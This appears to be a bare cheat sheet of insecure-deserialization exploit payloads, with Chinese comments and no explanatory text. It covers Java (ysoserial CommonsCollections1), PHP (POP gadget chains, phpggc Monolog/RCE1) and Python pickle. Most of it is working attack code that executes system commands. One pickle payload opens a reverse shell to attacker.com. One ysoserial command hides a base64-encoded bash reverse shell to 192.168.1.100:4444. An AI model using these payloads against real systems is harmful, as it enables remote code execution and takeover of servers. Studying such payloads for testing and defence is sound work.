kolorbee/lnu-secllm/deserialization-testing

AC ED 00 05 (十六进制)
rO0 (Base64)

O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}

\x80\x03

// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

<?php
class Test {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>

import pickle
import os
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))
pickle.dumps(RCE())

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
 
# Base64编码
base64 -w 0 payload.bin

// 使用Gadget链构造恶意对象
// 参考ysoserial源码

<?php
class A {
    public $b;
    function __destruct() {
        $this->b->test();
    }
}
 
class B {
    public $c;
    function test() {
        call_user_func($this->c, "id");
    }
}
 
$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>

import pickle
import base64
import os
class RCE:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))

原始: rO0ABXNy...
编码: ck8wQUJYTnk...

%72%4F%00%AB...

Class.forName("java.lang.Runtime").getMethod("exec", String.class)

# 列出可用Gadget
java -jar ysoserial.jar
 
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
 
# 生成Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64

# 列出可用Gadget
./phpggc -l
 
# 生成Payload
./phpggc Monolog/RCE1 system id
 
# 生成编码Payload
./phpggc -b Monolog/RCE1 system id